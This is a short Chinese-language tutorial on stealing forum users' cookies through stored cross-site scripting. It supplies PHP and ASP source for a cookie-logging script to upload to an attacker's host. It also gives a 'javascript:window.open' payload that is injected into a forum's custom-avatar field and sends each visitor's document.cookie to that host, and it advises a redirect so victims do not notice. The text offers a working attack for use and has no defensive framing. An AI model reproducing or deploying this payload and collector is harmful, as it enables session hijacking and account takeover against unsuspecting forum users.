以下是獲取cookie的php源代碼:
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("test.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
?>
如果得到cookie,則在空間中生成test.txt,為了不引起懷疑,將自動把網頁轉換到http://xiaomutou.51.net/bbs/,把它上傳到支持php的空間上。比如這裡我把它傳到 http://my.51.net/info2.php 然後注冊一個用戶(強烈建議大家注冊英文用戶,如baobaoguai) 我們在“關於自定義頭像”中插入如下代碼:
java script:window.open('http://my.51.net/info2.php?'+document.cookie);
然後提交,現在這個的頭像已經成了一段偷cookie的特殊代碼。現在回到首頁,看看在線成員列表,點我們剛才注冊的用戶,看,它彈出了兩個窗口,一個是關於baobaoguai這個用戶的資料,另一個則是http://my.51.net/bbs/
獲取cookie的asp源代碼:
<%
testfile=Server.MapPath("cookies.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>